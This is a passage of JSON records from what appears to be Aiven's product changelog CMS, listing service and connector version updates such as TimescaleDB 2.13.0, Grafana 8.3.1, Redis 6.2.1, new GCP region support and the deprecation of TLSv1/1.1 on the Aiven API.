Sink and Source connectors have been updated to version 1.7.0"} {"__i18n_lang":"en","_createdAt":"2022-12-16T15:00:43Z","_id":"5f502bd2-dca1-4e7a-97a1-fa03b010b758","_rev":"IiYi5XVNmR5WYQ23CFZJvq","_type":"changelog","_updatedAt":"2022-12-22T10:46:42Z","changeType":"improved","description":[{"_key":"6529658f3d04","_type":"block","children":[{"_key":"afdbf8f95d710","_type":"span","marks":[],"text":"Aiven's GCS Sink Connector for Apache Kafka has been updated to version 0.9.1. This release includes a fix for a bug that caused unnecessary message duplicates in certain circumstances. For more details, see "},{"_key":"afdbf8f95d711","_type":"span","marks":["125db28ed099"],"text":"release notes"},{"_key":"afdbf8f95d712","_type":"span","marks":[],"text":" and "},{"_key":"afdbf8f95d713","_type":"span","marks":["a0ba5277e27b"],"text":"documentation"},{"_key":"afdbf8f95d714","_type":"span","marks":[],"text":" for Aiven's GCS Sink Connector for Apache Kafka."}],"markDefs":[{"_key":"125db28ed099","_type":"link","href":"https://github.com/aiven/gcs-connector-for-apache-kafka/releases/tag/v0.9.1"},{"_key":"a0ba5277e27b","_type":"link","href":"https://github.com/aiven/gcs-connector-for-apache-kafka/tree/v0.9.1"}],"style":"normal"}],"publishedAt":"2022-12-07T15:00:00.000Z","tags":[{"_key":"b4213df25fd2","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven's GCS Sink Connector for Apache Kafka"} {"_createdAt":"2022-10-27T09:08:39Z","_i18n_lang":"en","_id":"5f77865f-0df9-4864-8c8e-d313fe554bbb","_rev":"dTcxLudMA3V5vz7pZEQhrl","_type":"changelog","_updatedAt":"2022-10-27T09:08:39Z","changeType":"","description":[{"_key":"8a28f3a9-7109-4443-aefc-fc860cce517a","_type":"block","children":[{"_key":"7c538f50-9d61-49a1-9fd0-d197651bd7d7","_type":"span","marks":[],"text":"All Aiven services are now available in the new region."}],"markDefs":[],"style":"normal"}],"publishedAt":"2019-04-20T00:00:00.000Z","tags":[{"_key":"4804a3e2-693b-4e0b-918a-d0a06c5e85ce","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"hostProvider"}],"title":"Added support for Google Cloud Platform (GCP) Osaka (\u003ccode\u003easia-northeast2\u003c/code\u003e) region"} {"_createdAt":"2022-10-27T09:06:43Z","_i18n_lang":"en","_id":"5f9087ac-5f63-4fd3-8881-94fede585767","_rev":"WYf15BwQWb3V4yHfbxOjhL","_type":"changelog","_updatedAt":"2022-10-27T09:06:43Z","changeType":"","description":[{"_key":"8c1eeb4a-aef5-40aa-89e6-739d6dcceee0","_type":"block","children":[{"_key":"f1c7f05d-b960-460b-a8c4-f5705ec37afe","_type":"span","marks":[],"text":"Please see "},{"_key":"e2b0a503-7cc7-42ec-8764-43f0c5907f24","_type":"span","marks":["m11150128406389"],"text":"the changelog"},{"_key":"52471c57-1bbf-49f1-8e83-1bca3a15c57c","_type":"span","marks":[],"text":" and "},{"_key":"dd2b5365-71a7-4ae5-985e-557a218a9765","_type":"span","marks":["m1768960206853"],"text":"the documentation"},{"_key":"0e10aa98-3a57-4f3c-bbc9-626e6be85832","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m11150128406389","_type":"link","href":"https://github.com/snowflakedb/snowflake-kafka-connector/releases/tag/v1.2.4"},{"_key":"m1768960206853","_type":"link","href":"https://docs.snowflake.net/manuals/user-guide/kafka-connector.html"}],"style":"normal"}],"publishedAt":"2020-05-15T00:00:00.000Z","tags":[{"_key":"39f2c1f2-1add-428b-866c-c8973102b7e3","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Snowflake Kafka Connect Connector has been updated to version 1.2.4"} {"__i18n_lang":"en","_createdAt":"2023-12-06T14:19:47Z","_id":"66b52256-e229-4270-bcf8-c7a0784d3144","_rev":"7oPGYyiRG7hm5kP9hc2eK4","_type":"changelog","_updatedAt":"2023-12-18T10:28:56Z","changeType":"improved","description":[{"_key":"d0fa253824d7","_type":"block","children":[{"_key":"3bc84abb3e550","_type":"span","marks":[],"text":"TimescaleDB extension version 2.13.0 is now available for Aiven for PostgreSQL®. It introduces new features and bug fixes on top of release 2.12.2."}],"markDefs":[],"style":"normal"},{"_key":"4a2700142f90","_type":"block","children":[{"_key":"6a2a3ce2e2ed0","_type":"span","marks":["strong"],"text":"Key new features"}],"markDefs":[],"style":"normal"},{"_key":"5f576ec9f4bc","_type":"block","children":[{"_key":"0d2868edb3430","_type":"span","marks":[],"text":"Full PostgreSQL 16 support for all existing features"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"d984f8d0cac6","_type":"block","children":[{"_key":"11f543dc19490","_type":"span","marks":[],"text":"Vectorized aggregation execution for "},{"_key":"4820a3cb6a91","_type":"span","marks":["code"],"text":"sum()"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f3dd23d4d4d0","_type":"block","children":[{"_key":"da0743ac2f2c0","_type":"span","marks":[],"text":"Track chunk creation time used in retention / compression policies"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"f38c7aa4e08e","_type":"block","children":[{"_key":"1dc8fea807500","_type":"span","marks":["strong"],"text":"More new features"}],"markDefs":[],"style":"normal"},{"_key":"090a5e73bf50","_type":"block","children":[{"_key":"4531563ad798","_type":"span","marks":["3b7fc174ac16"],"text":"Add chunk-wise sorted paths for compressed chunks"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"3b7fc174ac16","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5575"}],"style":"normal"},{"_key":"c9ba9a6037b6","_type":"block","children":[{"_key":"2d68dc0951be","_type":"span","marks":["58d0dbe2c881"],"text":"Simplify hypertable DDL API"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"58d0dbe2c881","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5761"}],"style":"normal"},{"_key":"2807d12bb1fc","_type":"block","children":[{"_key":"fe3b85d00ccd","_type":"span","marks":["1a3601f64a88"],"text":"Reduce WAL activity by freezing compressed tuples immediately"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"1a3601f64a88","_type":"link","href":"https://github.com/timescale/timescaledb/pull/5890"}],"style":"normal"},{"_key":"d8f01337581a","_type":"block","children":[{"_key":"24ceb1e5bd51","_type":"span","marks":["c55c6513bfe7"],"text":"Add metadata for chunk creation time"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"c55c6513bfe7","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6062"}],"style":"normal"},{"_key":"d24d3be15eb3","_type":"block","children":[{"_key":"1cc40bc27824","_type":"span","marks":["3e5d5e5d5f36"],"text":"Make Continuous Aggregates materialized only (non-realtime) by default"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"3e5d5e5d5f36","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6077"}],"style":"normal"},{"_key":"ccd823f7419f","_type":"block","children":[{"_key":"688cde66b6c4","_type":"span","marks":["0a5a87827353"],"text":"Change show_chunks/drop_chunks using chunk creation time"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"0a5a87827353","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6177"}],"style":"normal"},{"_key":"bd1b15446e82","_type":"block","children":[{"_key":"9d1590b4a399","_type":"span","marks":["2655444b45a2"],"text":"Show batches / tuples decompressed during DML operations in EXPLAIN output"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"2655444b45a2","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6178"}],"style":"normal"},{"_key":"6fc94678da43","_type":"block","children":[{"_key":"e7b7a4aab272","_type":"span","marks":["81fd421b6272"],"text":"Keep track of catalog version"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"81fd421b6272","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6185"}],"style":"normal"},{"_key":"9200ebb34942","_type":"block","children":[{"_key":"824815a2c83a","_type":"span","marks":["edb764dace9a"],"text":"Use creation time in retention/compression policy"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"edb764dace9a","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6227"}],"style":"normal"},{"_key":"fc5ef0c95769","_type":"block","children":[{"_key":"c6cc5d1e3f55","_type":"span","marks":["16365deeaac5"],"text":"Add SQL function cagg_validate_query"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"16365deeaac5","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6307"}],"style":"normal"},{"_key":"72010ca78403","_type":"block","children":[{"_key":"5490f4595d9c","_type":"span","marks":["strong"],"text":"Bug fixes"}],"markDefs":[],"style":"normal"},{"_key":"5bae9db9e044","_type":"block","children":[{"_key":"3e81131fc1e8","_type":"span","marks":["133c6babec02"],"text":"Add GUC for setting background worker log level"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"133c6babec02","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6188"}],"style":"normal"},{"_key":"89d6ad1e1931","_type":"block","children":[{"_key":"9fa3b78c6539","_type":"span","marks":["2e703c642d0f"],"text":"Allow enabling compression on hypertable with unique expression index"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"2e703c642d0f","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6222"}],"style":"normal"},{"_key":"335ec95c5400","_type":"block","children":[{"_key":"fcbeefccd8aa","_type":"span","marks":["65e90b9b0e07"],"text":"Check if worker registration succeeded"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"65e90b9b0e07","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6240"}],"style":"normal"},{"_key":"aa3473308212","_type":"block","children":[{"_key":"24d3c11623ad","_type":"span","marks":["60433b18fc60"],"text":"Fix exception detail passing in compression_policy_execute"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"60433b18fc60","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6254"}],"style":"normal"},{"_key":"06648f4aa968","_type":"block","children":[{"_key":"2fce2a226707","_type":"span","marks":["39df8a521e4c"],"text":"Fix missing bms_del_member result assignment"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"39df8a521e4c","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6264"}],"style":"normal"},{"_key":"c7e3f0cd1630","_type":"block","children":[{"_key":"fcf9ad564f22","_type":"span","marks":["a29baccf549c"],"text":"Fix negative bitmapset member not allowed in compression"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"a29baccf549c","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6275"}],"style":"normal"},{"_key":"de07bedf29d5","_type":"block","children":[{"_key":"3324cc7550ec","_type":"span","marks":["8112c239cac7"],"text":"Potential data loss when compressing a table with a partial index that matches compression order"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"8112c239cac7","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6280"}],"style":"normal"},{"_key":"8742f700b653","_type":"block","children":[{"_key":"929368f89ea2","_type":"span","marks":["373ab2f65d48"],"text":"Add support for startup chunk exclusion with aggs"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"373ab2f65d48","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6289"}],"style":"normal"},{"_key":"dee6cd2b61c5","_type":"block","children":[{"_key":"978fda19c366","_type":"span","marks":["a4770d4e5d5e"],"text":"Repair relacl on upgrade"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"a4770d4e5d5e","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6290"}],"style":"normal"},{"_key":"e15da44d9180","_type":"block","children":[{"_key":"dbaeb86d01ea","_type":"span","marks":["c4715d0f053f"],"text":"Fix segfault when creating a cagg using a NULL width in time bucket function"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"c4715d0f053f","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6297"}],"style":"normal"},{"_key":"a6c9f734db2c","_type":"block","children":[{"_key":"69b6dd61d744","_type":"span","marks":["9ef85c095ff3"],"text":"Make timescaledb_functions.makeaclitem strict"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"9ef85c095ff3","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6305"}],"style":"normal"},{"_key":"898aa087578d","_type":"block","children":[{"_key":"2040f4020edd","_type":"span","marks":["8029b15e3d16"],"text":"Fix typmod and collation for segmentby columns"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"8029b15e3d16","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6332"}],"style":"normal"},{"_key":"d71376d5bf26","_type":"block","children":[{"_key":"78fd14c0431d","_type":"span","marks":["bc6353624adc"],"text":"Fix tablespace with constraints"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"bc6353624adc","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6339"}],"style":"normal"},{"_key":"91b65243fc5b","_type":"block","children":[{"_key":"636084478242","_type":"span","marks":["aa351efb9e3f"],"text":"Enable segmentwise recompression in compression policy"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"aa351efb9e3f","_type":"link","href":"https://github.com/timescale/timescaledb/pull/6343"}],"style":"normal"}],"publishedAt":"2023-12-18T10:28:00.000Z","tags":[{"_key":"02d255f73b3d","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"TimescaleDB extension 2.13.0 for Aiven for PostgreSQL® released"} {"_createdAt":"2022-10-27T09:05:08Z","_i18n_lang":"en","_id":"66e5af87-9fac-4b4b-8382-601d8db16cf7","_rev":"zF7BMhNhvYpWtPMfHNMsKU","_type":"changelog","_updatedAt":"2022-10-27T09:05:08Z","changeType":"","description":[{"_key":"1d36ccc4-9656-44a5-8206-271d7d4fdd61","_type":"block","children":[{"_key":"d3a6f620-e625-4568-ae94-456bd6a7ed64","_type":"span","marks":[],"text":"These protocols were enabled for widest compatibility, but do no longer provide the adequate security level expected for secure communications."}],"markDefs":[],"style":"normal"}],"publishedAt":"2021-01-22T00:00:00.000Z","tags":[],"title":"TLSv1 and TLSv1.1 protocol support on Aiven API will be deprecated and disabled on Feb 8th, 2021"} {"_createdAt":"2022-10-27T09:03:18Z","_i18n_lang":"en","_id":"676ee798-a8e1-403f-aa02-3f14c47de94f","_rev":"zF7BMhNhvYpWtPMfHNMbdS","_type":"changelog","_updatedAt":"2022-10-27T09:03:18Z","changeType":"","description":[{"_key":"3988fc06-1295-4497-96a1-5b093b585236","_type":"block","children":[{"_key":"9a7430fa-4e14-46ad-9836-07a12d205219","_type":"span","marks":[],"text":"Please see the "},{"_key":"d64def6d-6777-425a-9d1b-0c7494c8e060","_type":"span","marks":["m6297139476655"],"text":"release notes"},{"_key":"57833354-3c1c-4313-951d-6a31f5545255","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m6297139476655","_type":"link","href":"https://grafana.com/docs/grafana/latest/whatsnew/whats-new-in-v8-3/"}],"style":"normal"}],"publishedAt":"2021-12-09T00:00:00.000Z","tags":[{"_key":"b859f384-b6aa-4409-bba3-b87e30f331d3","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Updated Grafana to version 8.3.1"} {"_createdAt":"2022-10-27T09:08:48Z","_i18n_lang":"en","_id":"67885614-eb01-4f4c-92e2-0661178fcf06","_rev":"HEiYk6nGjmUICadcDbTQj9","_type":"changelog","_updatedAt":"2022-10-27T09:08:48Z","changeType":"","publishedAt":"2019-04-01T00:00:00.000Z","tags":[{"_key":"97dd0c0f-0e84-4b56-8b41-9e1982262341","_ref":"7f18c6c3-36b9-4a4e-b168-6e1752ce4338","_type":"service"}],"title":"Aiven for Apache Cassandra has been updated to latest minor release 3.11.4."} {"_createdAt":"2022-10-27T09:07:34Z","_i18n_lang":"en","_id":"60ae1fa6-9aee-406d-8d64-76367c1de5c5","_rev":"WYf15BwQWb3V4yHfbxOutn","_type":"changelog","_updatedAt":"2022-10-27T09:07:34Z","changeType":"","description":[{"_key":"95f50d31-d1c8-4653-9741-02d51e05e05a","_type":"block","children":[{"_key":"befbbd77-c910-403e-ac1d-ecefa815321b","_type":"span","marks":[],"text":"Please see "},{"_key":"c25caad8-4cdf-4778-86eb-afee6a15a4bd","_type":"span","marks":["m16793938661989"],"text":"the documentation"},{"_key":"de4e833a-c62c-495d-977f-a385ad39c6c6","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m16793938661989","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-http/blob/17c624508a0188a8e5e2f3c8e4f374e6a318b7e7/docs/sink-connector-config-options.rst"}],"style":"normal"}],"publishedAt":"2019-10-29T00:00:00.000Z","tags":[{"_key":"e5ec7eac-eea8-4e8e-bcd0-a53f46a4dd62","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"HTTP sink connector has been added in the preview mode"} {"_createdAt":"2022-10-27T09:05:48Z","_i18n_lang":"en","_id":"60bd6431-9e6d-4d94-9677-2fdd9acec104","_rev":"HEiYk6nGjmUICadcDbT5YA","_type":"changelog","_updatedAt":"2022-10-27T09:05:48Z","changeType":"","description":[{"_key":"4f47e383-8407-449c-b3c4-4c26c90993c6","_type":"block","children":[{"_key":"1989a70a-d6b5-4934-93f4-410aca147f59","_type":"span","marks":[],"text":"Please see the "},{"_key":"0111dfb6-daa2-4825-af9b-625bb5b9db88","_type":"span","marks":["m795123441118"],"text":"release notes"}],"markDefs":[{"_key":"m795123441118","_type":"link","href":"https://github.com/postgrespro/rum/releases/tag/1.3.7"}],"style":"normal"}],"publishedAt":"2020-10-27T00:00:00.000Z","tags":[{"_key":"9054c39a-009b-4a49-b4dc-58dcddda807e","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL's RUM extension has been updated to version 1.3.7"} {"_createdAt":"2022-10-27T09:11:26Z","_i18n_lang":"en","_id":"6124e7ee-fe79-4f7d-8f6a-e06a5bd80611","_rev":"Cf2WlCE8X5IGBBi7ld1NB4","_type":"changelog","_updatedAt":"2022-10-27T09:11:26Z","changeType":"","description":[{"_key":"c8ffca37-2200-4e85-a064-3f9e0076dbde","_type":"block","children":[{"_key":"727279f0-47ef-497c-a1fb-b44d95786e92","_type":"span","marks":[],"text":"Please refer to the "},{"_key":"6bac0cff-fd81-4431-b1b2-cc19c9369af3","_type":"span","marks":["m2981537367880"],"text":"release notes"},{"_key":"86fbd889-59aa-45c1-af15-f76afd805c17","_type":"span","marks":[],"text":" for what's new in the release."}],"markDefs":[{"_key":"m2981537367880","_type":"link","href":"https://archive.apache.org/dist/kafka/0.11.0.0/RELEASE_NOTES.html"}],"style":"normal"}],"publishedAt":"2017-08-14T00:00:00.000Z","tags":[{"_key":"abeb7329-7127-4162-b5e5-7400c2989411","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Added support for version 0.11.0.0"} {"_createdAt":"2022-10-27T09:04:44Z","_i18n_lang":"en","_id":"623f5df8-e508-4330-b96e-e01c7ab7b913","_rev":"uVO3nVvSuHH0nc1h0MTfNK","_type":"changelog","_updatedAt":"2022-10-27T09:04:44Z","changeType":"","description":[{"_key":"2848e32e-0c6f-4fcd-b0fb-c47482f1dff5","_type":"block","children":[{"_key":"7e23e6ba-3a00-44cb-a1c6-d26c84e522f7","_type":"span","marks":[],"text":"Please see the "},{"_key":"4983d7ad-f36e-4c8b-87c7-a2132e0e28ad","_type":"span","marks":["m4167666455503"],"text":"Changelog"},{"_key":"ab69e27f-90dc-4075-9402-b75cfbabe4f2","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m4167666455503","_type":"link","href":"https://raw.githubusercontent.com/redis/redis/6.2/00-RELEASENOTES"}],"style":"normal"}],"publishedAt":"2021-03-26T00:00:00.000Z","tags":[{"_key":"46c35db5-06f2-4ae6-b30b-893e39e36c5e","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Updated Redis to major version 6.2.1"} {"__i18n_lang":"en","_createdAt":"2023-04-26T10:27:00Z","_id":"62468053-605b-476c-870a-5bd576d26215","_rev":"dFf3Y9Rn1ueFjLLUkdQyUm","_type":"changelog","_updatedAt":"2023-04-26T10:30:59Z","changeType":"improved","description":[{"_key":"38dc0183034a","_type":"block","children":[{"_key":"c95d56c2b0eb0","_type":"span","marks":[],"text":"The "},{"_key":"268717138802","_type":"span","marks":["code"],"text":"ServiceIntegration"},{"_key":"eed71bfab000","_type":"span","marks":[],"text":" kind has a long list of improvements, including: adding "},{"_key":"957239975872","_type":"span","marks":["code"],"text":"SourceProjectName"},{"_key":"054a11d07f1f","_type":"span","marks":[],"text":" and "},{"_key":"2453d7885110","_type":"span","marks":["code"],"text":"DestinationProjectName"},{"_key":"7f1c7ed3f306","_type":"span","marks":[],"text":" fields, adding validation for several fields, and some fixes."}],"markDefs":[],"style":"normal"},{"_key":"6f3f96ae4d2c","_type":"block","children":[{"_key":"ccbe81db4a5c","_type":"span","marks":[],"text":"This version also includes new "},{"_key":"edd5988a5f23","_type":"span","marks":["code"],"text":"annotations"},{"_key":"395b8af27771","_type":"span","marks":[],"text":" and "},{"_key":"c249251d9eda","_type":"span","marks":["code"],"text":"labels"},{"_key":"1e14a5172299","_type":"span","marks":[],"text":" fields for the "},{"_key":"feff7e222dd3","_type":"span","marks":["code"],"text":"connInfoSecretTarget "},{"_key":"e4beeb54057b","_type":"span","marks":[],"text":"secret feature."}],"markDefs":[],"style":"normal"},{"_key":"ff40bd9066ac","_type":"block","children":[{"_key":"e91498551f40","_type":"span","marks":[],"text":"For complete details, check out the "},{"_key":"89c5f946b87c","_type":"span","marks":["6275e86bb8bc"],"text":"Aiven Operator changelog"},{"_key":"37cf594b9d90","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"6275e86bb8bc","_type":"link","href":"https://aiven.github.io/aiven-operator/changelog.html"}],"style":"normal"}],"publishedAt":"2023-04-25T10:23:00.000Z","tags":[{"_key":"dd26eec3e8e0","_ref":"2c9ddba5-c82b-4166-95c8-22f314164f97","_type":"tool"}],"title":"Aiven Operator for Kubernetes version 0.11.0 now available"} {"_createdAt":"2022-10-27T09:09:35Z","_i18n_lang":"en","_id":"62489377-6fa3-4577-bb61-3a0cd6cca4f0","_rev":"ncjVtEY290Sap8rHbFwjYo","_type":"changelog","_updatedAt":"2022-10-27T09:09:35Z","changeType":"","publishedAt":"2018-10-12T00:00:00.000Z","tags":[{"_key":"100b5228-3b4e-400f-bc3a-a498f1b603c8","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Kafka Connect S3 connector by Confluent is available as part of Aiven for Apache Kafka Connect."} {"_createdAt":"2022-10-27T09:05:33Z","_i18n_lang":"en","_id":"62afe26d-fd64-4700-830d-018959f19f32","_rev":"HEiYk6nGjmUICadcDbT48d","_type":"changelog","_updatedAt":"2022-10-27T09:05:33Z","changeType":"","description":[{"_key":"38d538bb-f82c-4445-9b39-73912193fbc7","_type":"block","children":[{"_key":"36d689f7-269c-4aeb-93e5-b0c2b445cf7a","_type":"span","marks":[],"text":"Please see the "},{"_key":"e12af8bd-defe-4698-bcad-720b8facf002","_type":"span","marks":["m15287605239924"],"text":"changelog"},{"_key":"6221705a-1ba1-44a8-a1ec-029e1ea6b667","_type":"span","marks":[],"text":" and "},{"_key":"b7d26c85-8a88-4988-a960-96ce11350b42","_type":"span","marks":["m11974726140117"],"text":"documentation"},{"_key":"5525a08b-7907-4d61-ba25-230d2f2a93b9","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m15287605239924","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-gcs/releases/tag/v0.6.1"},{"_key":"m11974726140117","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-gcs/tree/v0.6.1"}],"style":"normal"}],"publishedAt":"2020-12-03T00:00:00.000Z","tags":[{"_key":"d0a0be1e-0330-4026-a56e-7127145a9cd5","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven Kafka GCS Sink Connector has been updated to version 0.6.1"} {"_createdAt":"2022-10-27T09:07:22Z","_i18n_lang":"en","_id":"9dc9c23c-ef97-45d8-926b-12ef650fecd3","_rev":"zF7BMhNhvYpWtPMfHNNTOo","_type":"changelog","_updatedAt":"2022-10-27T09:07:22Z","changeType":"","description":[{"_key":"62aad45a-3b02-4514-8cd0-a1c0e3b002c7","_type":"block","children":[{"_key":"94a8667f-a2ff-439d-9008-05289be30484","_type":"span","marks":[],"text":"Please see the "},{"_key":"b14573ff-19d6-4f70-b3d1-07bb67cb988e","_type":"span","marks":["m9000317612201"],"text":"the documentation"},{"_key":"95da2eda-5a47-4340-923c-8c2338a5aeaf","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m9000317612201","_type":"link","href":"https://github.com/lensesio/stream-reactor/tree/master/kafka-connect-rabbitmq/"}],"style":"normal"}],"publishedAt":"2019-11-19T00:00:00.000Z","tags":[{"_key":"845c803d-02b9-4671-88bd-343cc72976e5","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Stream Reactor Kafka Connect RabbitMQ sink and source connectors are now available in the preview mode"} {"_createdAt":"2022-10-27T09:07:31Z","_i18n_lang":"en","_id":"9e2ce330-fb74-403d-81d7-ac4440d581ea","_rev":"RS2LhK1JP0SKK0JvX1QnA1","_type":"changelog","_updatedAt":"2022-10-27T09:07:31Z","changeType":"","description":[{"_key":"4237f0fa-f31c-4f8b-b39b-1dadacf41598","_type":"block","children":[{"_key":"d9c30ebf-2e8f-4121-94a4-b3129c36a051","_type":"span","marks":[],"text":"Please see "},{"_key":"5ea5fd4b-a5fc-4770-9791-ea1c402fdc10","_type":"span","marks":["m7259702643476"],"text":"the changelog"},{"_key":"b55c313d-50da-474a-ad0c-bae54b1677bd","_type":"span","marks":[],"text":" and "},{"_key":"e0f3b649-66d6-43dc-83f9-c329082a219a","_type":"span","marks":["m1768960206853"],"text":"the documentation"},{"_key":"cd7accee-ce36-4649-aae0-cbb94df9e1dc","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m7259702643476","_type":"link","href":"https://github.com/snowflakedb/snowflake-kafka-connector/releases/tag/v0.5.3"},{"_key":"m1768960206853","_type":"link","href":"https://docs.snowflake.net/manuals/user-guide/kafka-connector.html"}],"style":"normal"}],"publishedAt":"2019-11-01T00:00:00.000Z","tags":[{"_key":"95c0e144-bf20-45c0-b3d5-f37255072697","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Snowflake Kafka Connect Connector has been updated to version 0.5.3"} {"_createdAt":"2022-10-27T09:07:11Z","_i18n_lang":"en","_id":"6b3cb914-c95d-4c79-898f-7151e8c7a0a8","_rev":"chYcdg0OBeHzQFNhare7fh","_type":"changelog","_updatedAt":"2022-10-27T09:07:11Z","changeType":"","description":[{"_key":"1fb87296-7501-4317-8da0-8a12fd9e2e78","_type":"block","children":[{"_key":"60f5e1bb-a1a1-420f-8e59-a16a93c7de6b","_type":"span","marks":[],"text":"Please see the "},{"_key":"7f498329-99d9-423b-827f-fd08b49d9b52","_type":"span","marks":["m11932678133964"],"text":"release notes"},{"_key":"381b9f3b-91fc-4be8-952d-37e8ef38e299","_type":"span","marks":[],"text":" and the "},{"_key":"54b9ef83-1a9e-4b54-a205-3c18d7bad972","_type":"span","marks":["m1776731392458"],"text":"documentation"},{"_key":"99ea070f-b93f-464a-a111-553bcc1d7469","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m11932678133964","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-jdbc/releases/tag/v6.1.0"},{"_key":"m1776731392458","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-jdbc"}],"style":"normal"}],"publishedAt":"2020-01-29T00:00:00.000Z","tags":[{"_key":"4b0aad21-a491-49a1-b425-e954ce8545d5","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven Kafka Connect sink and source JDBC connectors have been updated to version 6.1.0"} {"_createdAt":"2022-10-27T09:04:20Z","_i18n_lang":"en","_id":"6b8db085-d241-4310-99a0-66603e502a22","_rev":"G4qVVLRzbD2hZSG98TuAef","_type":"changelog","_updatedAt":"2022-10-27T09:04:20Z","changeType":"","publishedAt":"2021-05-14T00:00:00.000Z","tags":[{"_key":"41fc535e-0e9c-4642-b3a4-6f9c5ff572ae","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Extended range for the PostgreSQL \u003ca href=\"https://www.postgresql.org/docs/current/runtime-config-replication.html#GUC-WAL-SENDER-TIMEOUT\" rel=\"nofollow noopener noreferrer\"\u003ewal_sender_timeout\u003c/a\u003e configuration option: either 0 to disable the timeout or anything between 5 seconds and 3 hours."} {"_createdAt":"2022-10-27T09:11:06Z","_i18n_lang":"en","_id":"6bcd0dbb-37de-4f53-a7b4-4a1b107c572e","_rev":"chYcdg0OBeHzQFNhareGoW","_type":"changelog","_updatedAt":"2022-10-27T09:11:06Z","changeType":"","description":[{"_key":"09eb7a76-b17a-4e91-ac29-f7007fb3445c","_type":"block","children":[{"_key":"2445e020-7d57-42fa-b756-7e5ae9a91719","_type":"span","marks":[],"text":"See our "},{"_key":"376d40c6-9c5a-4412-853b-a0ddfe8ca2b6","_type":"span","marks":["m2689577835340"],"text":"blog post"},{"_key":"1584d405-7863-4bed-98b5-f83a1fa8fae2","_type":"span","marks":[],"text":" for news about the 